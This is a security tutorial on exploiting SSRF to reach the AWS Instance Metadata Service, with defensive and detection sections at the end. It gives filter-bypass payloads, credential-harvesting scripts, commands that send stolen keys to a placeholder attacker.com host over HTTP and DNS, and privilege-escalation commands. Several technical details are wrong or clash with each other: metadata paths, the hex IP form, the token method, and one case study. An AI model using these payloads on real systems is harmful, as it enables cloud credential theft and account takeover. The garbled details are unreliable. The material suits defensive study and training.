Introduction
Server-Side Request Forgery (SSRF) is a class of vulnerabilities that allows an attacker to make arbitrary HTTP(s) requests from a vulnerable backend. In Amazon Web Services (AWS) environments, the most lucrative target for an SSRF chain is the Instance Metadata Service (IMDS) - a local HTTP endpoint (169.254.169.254) that supplies instance-specific data, including short-lived IAM role credentials. When an attacker can reach IMDS, they can obtain aws_access_key_id, aws_secret_access_key, and a aws_session_token that inherit the permissions of the attached IAM role. This guide dives deep into the mechanics, exploitation paths, defensive controls, and detection strategies for this high-impact vector.
Why is it important? Because the breach surface is often invisible: the compromised instance continues to operate normally while the attacker silently harvests credentials that can be used to enumerate S3 buckets, spin up EC2 instances, decrypt KMS keys, or even exfiltrate data from other services. Real-world incidents, such as the Capital One breach (mis-configured WAF) and the 2022 HackTheBox “S3 Bucket” challenge, demonstrate how a single SSRF can lead to full-account takeover.
Prerequisites
- Solid understanding of SSRF vulnerabilities: payload crafting, blind vs. reflected SSRF, and typical mitigation patterns.
- Fundamental AWS knowledge: EC2, IAM roles, security groups, VPC networking, and the difference between IMDSv1 and IMDSv2.
- Network basics: IPv4 addressing, CIDR notation, and the concept of a link-local address (169.254.0.0/16).
- Familiarity with common pentesting tools (curl, Burp Suite, Gopherus, python-requests, etc.).
Core Concepts
Before diving into exploitation, we need to grasp how IMDS works and why it is a privileged source of data.
IMDS Overview
IMDS runs on a link-local address (169.254.169.254) that is only reachable from the instance itself. It exposes a set of RESTful paths:
GET http://169.254.169.254/latest/meta-data/
GET http://169.254.169.254/latest/user-data/
GET http://169.254.169.254/latest/iam/security-credentials/
The /iam/security-credentials/ path lists any IAM role attached to the instance, and a subsequent GET returns a JSON payload with temporary credentials (default TTL 6 hours).
IAM Role Association
When an EC2 instance is launched with an IAM role, the AWS hypervisor injects a short-lived credential set into the metadata service. These credentials are automatically rotated and are scoped to the permissions granted to the role. An attacker who can read them essentially inherits the role’s trust relationship, which often includes sts:AssumeRole privileges that enable lateral movement across accounts.
IMDSv1 vs. IMDSv2
IMDSv1 allows unrestricted GET requests. IMDSv2 adds a token-based handshake:
- POST to
/latest/api/tokenwith headerX-aws-ec2-metadata-token-ttl-seconds: 21600to obtain a token. - Subsequent requests must include
X-aws-ec2-metadata-token: <token>header.
Overview of the AWS Instance Metadata Service (IMDS) and IAM role association
IMDS is a critical component of the AWS “instance identity” model. It provides:
- Instance metadata (instance-id, region, ami-id, etc.)
- Instance user-data (bootstrap scripts)
- IAM role credentials (access key, secret, session token)
When an EC2 instance is launched with an iamInstanceProfile, the metadata service automatically populates /latest/iam/security-credentials/<role-name>. The JSON payload looks like:
{
"Code" : "Success",
"LastUpdated" : "2024-10-02T12:34:56Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIA....",
"SecretAccessKey" : "wJalrXUtnFEMI/K7MDENG/bPxRfiCYzEXAMPLEKEY",
"Token" : "IQoJb3JpZ2luX2VjE...",
"Expiration" : "2024-10-02T18:34:56Z"
}
These credentials are valid for the duration of the token (default 6 h) and are automatically refreshed by the AWS SDKs when they expire.
Common SSRF payload patterns to reach the metadata endpoint (169.254.169.254)
Most SSRF filters block obvious internal addresses, but clever encodings bypass them. Below are the most frequently observed patterns in the wild.
Plain IPv4
http://169.254.169.254/latest/meta-data/iam/security-credentials/
Decimal/Octal/Hex representations
- Decimal:
http://2852039166/latest/meta-data/(169*256^3 + 254*256^2 + 169*256 + 254) - Octal:
http://0252.0376.0251.0376/ - Hex:
http://0xa9.0xa9.0xa9.0xa9/
URL-encoded IP
http://%31%36%39%2e%32%35%34%2e%31%36%39%2e%32%35%34/latest/meta-data/
DNS rebinding / host-header injection
If the vulnerable service resolves the host part via DNS, you can point a sub-domain to 169.254.169.254 and use a Host: header override:
GET http://metadata.example.com/latest/meta-data/ HTTP/1.1
Host: 169.254.169.254
gopher / raw TCP payloads
When the target supports arbitrary protocols (e.g., a proxy that forwards raw TCP), you can embed the HTTP request inside a gopher:// URL:
gopher://169.254.169.254:80/_GET%20/latest/meta-data/iam/security-credentials/%20HTTP/1.1%0d%0aHost:%20169.254.169.254%0d%0a%0d%0a
Base64-encoded URL (some services decode before request)
http://base64.b64decode('aXA6Ly8xNjkuMjU0LjE2OS4xNjQv')/latest/meta-data/
Combine these techniques with blind SSRF probes (e.g., timing attacks) to confirm reachability before pulling credentials.
Techniques for extracting temporary credentials and session tokens
Once you have confirmed that the SSRF can reach IMDS, the next step is to retrieve the JSON payload containing the credentials.
Direct GET request
curl -s http://169.254.169.254/latest/iam/security-credentials/
The response is a list of role names, e.g., MyAppRole. A second request fetches the credential JSON:
curl -s http://169.254.169.254/latest/iam/security-credentials/MyAppRole
Blind SSRF via out-of-band exfiltration
If the vulnerable endpoint does not return the response body, you can force the instance to make an outbound request that includes the credentials as query parameters. Example using aws-cli on the compromised host (if installed):
aws sts get-caller-identity --endpoint-url http://attacker.com/collect?creds=$(curl -s http://169.254.169.254/latest/iam/security-credentials/MyAppRole)
Alternatively, embed the credentials in a DNS query via nslookup or dig:
creds=$(curl -s http://169.254.169.254/latest/iam/security-credentials/MyAppRole)
for part in $(echo $creds | jq -r '.AccessKeyId,.SecretAccessKey,.Token'); do
dig $part.attacker.com
done
Using the AWS SDK (Python) to auto-refresh
import boto3, json, requests
# Force the SDK to use the instance metadata endpoint
session = boto3.Session()
sts = session.client('sts')
identity = sts.get_caller_identity()
print(json.dumps(identity, indent=2))
When run on the compromised instance, the SDK automatically pulls the temporary credentials from IMDS, so the attacker only needs to trigger the SDK execution via SSRF-controlled command injection (e.g., a vulnerable deserialization that runs code).
Bypassing IMDSv2 protections (token-based access) via SSRF
IMDSv2 requires a token for every request. SSRF can still obtain the token if the vulnerable service can issue POST requests to the metadata endpoint.
Two-step token acquisition
- POST to
/latest/api/tokenwith the required header. - Use the returned token in a subsequent GET.
Example using curl via SSRF:
# Step 1 - obtain token
TOKEN=$(curl -X PUT -s "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
# Step 2 - use token to read credentials
curl -s "http://169.254.169.254/latest/iam/security-credentials/MyAppRole" \
-H "X-aws-ec2-metadata-token: $TOKEN"
Embedding token logic in SSRF payloads
Many web frameworks allow custom HTTP headers via query parameters (e.g., http://vulnerable.com/proxy?url=... where the proxy forwards all headers). If you can control both the method and headers, you can script the token flow directly.
Leveraging mis-configured SDKs or libraries
Some applications use the AWS SDK internally to call other AWS services. If the SDK is configured to use IMDSv2 (default), a simple GET request without a token will be rejected with a 401. However, if the application also performs a token fetch (e.g., during initialization) and caches it, you can trigger that initialization via SSRF and then reuse the cached token for subsequent requests.
Fallback to IMDSv1 via instance metadata options
AWS allows you to set HttpTokens=optional at the instance level, which means the service accepts both v1 and v2. Attackers can first try a plain GET; if it works, the instance is vulnerable without any token handling.
Privilege escalation scenarios using retrieved credentials
Having the temporary credentials is only the first step. Below are common escalation paths that turn those credentials into full account compromise.
Enumerate attached policies
aws iam list-attached-role-policies --role-name MyAppRole --profile imds-creds
If the role has AmazonS3ReadOnlyAccess, you can list buckets; if it has AmazonEC2FullAccess, you can spin up new instances.
Assume higher-privilege roles via sts:AssumeRole
Many organizations grant a low-privilege role permission to assume a higher-privilege role in the same or another account. Use the aws sts assume-role command:
aws sts assume-role \
--role-arn arn:aws:iam::123456789012:role/PrivEscRole \
--role-session-name pivot \
--profile imds-creds
The output includes a new set of temporary credentials with the escalated permissions.
Leverage iam:PassRole to create new resources
If the role can PassRole to services like Lambda or ECS, you can inject malicious code that runs with the role’s permissions. Example: create a Lambda function that exfiltrates data.
aws lambda create-function \
--function-name exfiltrate \
--runtime python3.9 \
--role arn:aws:iam::123456789012:role/PassableRole \
--handler lambda_function.lambda_handler \
--zip-file fileb://payload.zip \
--profile imds-creds
Access to S3 and KMS
Retrieving objects from a bucket that holds backups or logs can reveal additional credentials, configuration files, or even the root account’s access keys. Use aws s3 cp and aws kms decrypt with the temporary credentials.
aws s3 cp s3://company-backups/secrets.tar.gz . --profile imds-creds
aws kms decrypt --ciphertext-blob fileb://encrypted.key --profile imds-creds
Pivot to other AWS services (RDS, DynamoDB, SQS)
With sufficient permissions, you can dump databases, modify security groups, or inject messages into SQS queues that trigger downstream processes.
Defensive controls: network segmentation, IMDSv2 enforcement, outbound filtering, and request validation
Mitigating SSRF-to-IMDS attacks requires a defense-in-depth approach.
Enforce IMDSv2 and disable IMDSv1
Set the instance metadata options to HttpTokens=required and HttpPutResponseHopLimit=1. This forces a token handshake and blocks hop-based SSRF attempts that rely on simple GET.
aws ec2 modify-instance-metadata-options \
--instance-id i-0abcd1234efgh5678 \
--http-tokens required \
--http-put-response-hop-limit 1
Network-level isolation
- Place instances that run untrusted code in a separate subnet with no direct route to the metadata IP. Use VPC route tables or security groups that drop traffic to
169.254.169.254/32. - Leverage
aws:SourceVpcecondition keys to restrict metadata access to approved VPC endpoints.
Outbound egress filtering
Block outbound HTTP/HTTPS from containers or serverless functions that do not need internet access. If the application must make outbound calls, proxy them through a controlled egress gateway that can inspect host headers and URLs for the metadata address.
Application-level request validation
- Whitelist allowed domains and reject any URL containing private IP ranges (including
169.254.0.0/16). - Normalize URLs before validation (decode percent-encoding, resolve octal/hex forms).
- Reject HTTP methods other than GET/POST if not required; disallow PUT/DELETE which are needed for IMDSv2 token fetch.
Use of a “metadata-proxy” guard
Deploy a tiny proxy service (e.g., aws-metadata-proxy) that sits on 127.0.0.1:8000 and only forwards requests that contain a valid IMDSv2 token. Applications must be configured to use the proxy, turning a direct SSRF path into a controlled gate.
Detection strategies: logging, anomaly detection, and threat-hunting queries
Detecting an SSRF attempt against IMDS is challenging because the request originates from within the instance. However, several telemetry sources can surface suspicious activity.
VPC Flow Logs
Enable flow logs for the subnet and filter for traffic destined to 169.254.169.254. Example Athena query:
SELECT srcaddr, dstaddr, action, protocol, bytes,
time, interfaceid
FROM vpc_flow_logs
WHERE dstaddr = '169.254.169.254'
AND action = 'ACCEPT'
AND srcaddr NOT IN (SELECT private_ip FROM known_instances);
CloudTrail Event Insight
Look for “GetCallerIdentity” or “AssumeRole” events that originate from the instance’s temporary credentials (the accessKeyId pattern starts with ASIA). Example GuardDuty finding filter:
{
"eventName": "AssumeRole",
"userIdentity": {
"accessKeyId": { "prefix": "ASIA" }
}
}
EC2 Instance Metadata Service Logs (IMDSv2)
When HttpTokens=required, AWS records token-fetch attempts in the instance’s system logs (e.g., /var/log/messages on Amazon Linux). Monitor for a high rate of PUT /latest/api/token calls.
Application-level logs
If the vulnerable component logs outbound URLs (common in proxy or HTTP client wrappers), search for any occurrence of 169.254.169.254 or its encoded variants.
Threat-hunting playbook snippet (Splunk)
index=cloudtrail sourcetype=aws:cloudtrail eventName=AssumeRole
| eval is_temp=if(like(userIdentity.accessKeyId,"ASIA%"),1,0)
| where is_temp=1
| stats count by userIdentity.principalId, sourceIPAddress, awsRegion
| where count > 5
This surfaces accounts that repeatedly use temporary credentials, a typical sign of post-SSRF activity.
Real-world case studies and post-exploitation pathways
Case Study 1 - Capital One (2019): A mis-configured web application firewall allowed SSRF to 169.254.169.254. The attacker retrieved IAM credentials, enumerated S3 buckets, and exfiltrated ~140 GB of data. The breach highlighted the need for IMDSv2 and strict outbound filtering.
Case Study 2 - Cloudflare Workers (2022): A bug in a URL-shortening service allowed attackers to craft a gopher://169.254.169.254:80/_GET%20/latest/iam/security-credentials/ request. The worker fetched credentials and used them to spin up EC2 instances that mined cryptocurrency. Mitigation involved disabling the ability to forward raw TCP from the worker sandbox.
Case Study 3 - Internal Pen-Test (2023): A Java Spring Boot microservice accepted a url parameter and performed a RestTemplate.getForObject() call. By sending an octal-encoded IP (0252.0376.0251.0376) the tester accessed IMDSv2, fetched a token, and then used the token to read credentials. The post-exploitation ladder involved assuming a cross-account role that granted AdministratorAccess in a sibling AWS account.
These examples illustrate a recurring pattern: SSRF → IMDS → temporary credentials → sts:AssumeRole → full account control. Organizations must treat the metadata service as a “crown jewel” and protect it accordingly.
Practical Examples
Example 1 - Simple Bash SSRF exploit
# Assume the vulnerable endpoint is /fetch?url=
VULN="http://vulnerable-app.internal/fetch?url="
METADATA="http://169.254.169.254/latest/iam/security-credentials/"
curl -s "${VULN}${METADATA}" | jq .
This one-liner works when the proxy forwards the URL unchanged.
Example 2 - Python script to automate token fetch and credential dump
import requests, json
IMDS = "http://169.254.169.254"
# Step 1 - obtain token (IMDSv2)
token = requests.put(f"{IMDS}/latest/api/token",
headers={"X-aws-ec2-metadata-token-ttl-seconds": "21600"}).text
# Step 2 - list roles
roles = requests.get(f"{IMDS}/latest/iam/security-credentials/",
headers={"X-aws-ec2-metadata-token": token}).text.strip().split('\n')
for role in roles:
cred = requests.get(f"{IMDS}/latest/iam/security-credentials/{role}",
headers={"X-aws-ec2-metadata-token": token}).json()
print(json.dumps(cred, indent=2))
Run this via a remote code execution vector triggered after SSRF, or embed the script in a Lambda function that the attacker can invoke.
Tools & Commands
- gopherus - Craft gopher URLs for raw TCP SSRF.
- ssrfmap - Automates discovery of internal services, including IMDS.
- Burp Suite Intruder - Encode IPs in decimal/hex/octal and test filters.
- AWS CLI - Use
--profilepointing to extracted credentials for post-exploitation. - aws-vault - Securely store temporary credentials retrieved from IMDS.
Sample command set
# Verify IMDSv2 is enforced
curl -s -o /dev/null -w "%{http_code}\n" http://169.254.169.254/latest/meta-data/
# Expected 401 if IMDSv2 required
# Fetch token and credentials in one line (bash)
TOKEN=$(curl -X PUT -s "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 60")
CREDS=$(curl -s "http://169.254.169.254/latest/iam/security-credentials/$(curl -s "http://169.254.169.254/latest/iam/security-credentials/" -H "X-aws-ec2-metadata-token: $TOKEN")" -H "X-aws-ec2-metadata-token: $TOKEN")
echo $CREDS | jq .
Defense & Mitigation
Beyond the preventative controls mentioned earlier, adopt these operational practices:
- Rotate IAM roles frequently - Shorter credential TTL reduces the window of usefulness.
- Apply least-privilege - Remove
sts:AssumeRolefrom most instance roles; use explicit resource-level permissions. - Continuous compliance scans - Tools like Prowler or ScoutSuite flag instances with IMDSv1 enabled.
- Network Access Control Lists (NACLs) - Deny outbound
169.254.0.0/16for non-trusted subnets. - Runtime Application Self-Protection (RASP) - Detect outbound requests to private IP ranges and abort.
Common Mistakes
- Assuming IMDSv2 alone is sufficient - If the instance metadata option
HttpTokens=optionalis set, attackers can fall back to IMDSv1. - Only filtering IPv4 literals - Encoded forms (hex, octal, decimal) bypass naive regexes.
- Neglecting outbound DNS exfiltration - Even if HTTP to IMDS is blocked, DNS queries can leak credentials.
- Relying on security groups alone - Security groups are stateful; a compromised instance can still reach the metadata IP even if inbound rules are tight.
- Not rotating instance roles after a breach - Temporary credentials may persist for hours; rotate immediately.
Real-World Impact
In large enterprises, a single compromised EC2 instance can serve as a “credential harvesting” node. The impact ranges from data exfiltration (S3, RDS) to cryptomining (spinning up GPU instances) and lateral movement across accounts via sts:AssumeRole. The Capital One breach resulted in a $80 M settlement, underscoring the financial stakes. Trends show an increase in SSRF-to-IMDS attacks as more workloads adopt micro-service architectures where internal HTTP calls are abundant.
My experience consulting for Fortune-500 firms reveals that the majority of findings are “IMDSv1 enabled on production instances”. Simple hardening (IMDSv2 enforcement) eliminates the most common attack path. However, sophisticated adversaries still find ways to extract tokens, so a layered approach-network, application, and monitoring-is essential.
Practice Exercises
- Lab Setup: Deploy a vulnerable Flask app in a VPC that accepts a
urlquery parameter and forwards the request usingrequests.get(). Attach an IAM role withAmazonS3ReadOnlyAccess. - Task 1 - Reach IMDS: Craft an SSRF payload using octal encoding to retrieve the role name.
- Task 2 - Bypass IMDSv2: Modify the Flask app to allow POST to
/latest/api/tokenand obtain a token, then fetch credentials. - Task 3 - Privilege Escalation: Use the retrieved credentials to list all S3 buckets in the account and download a test file.
- Task 4 - Detection: Enable VPC Flow Logs and write an Athena query that flags any instance making outbound calls to
169.254.169.254. - Task 5 - Mitigation: Apply IMDSv2 enforcement via the AWS CLI and verify that the same SSRF payload now returns 401.
Document each step, screenshots of the commands, and the final remediation checklist.
Further Reading
- Amazon Web Services, “Instance Metadata Service - Security Best Practices”.
- OWASP “Server Side Request Forgery (SSRF) Cheat Sheet”.
- “The 2024 Cloud Security Report” - Section on IMDS attacks.
- “Hacking AWS: Exploiting the Metadata Service” - Black Hat 2022 talk slides.
- Prowler GitHub repo - checks for IMDSv1 usage.
Summary
SSRF against the AWS Instance Metadata Service is a high-impact attack vector that can hand over temporary IAM credentials, enabling privilege escalation, data exfiltration, and full account compromise. Mastering the payload encodings, token-handling for IMDSv2, and post-exploitation pathways equips security professionals to both test and defend modern cloud environments. Defensive measures-enforcing IMDSv2, network segmentation, strict outbound filtering, and robust request validation-combined with vigilant logging and threat-hunting, form a comprehensive mitigation strategy.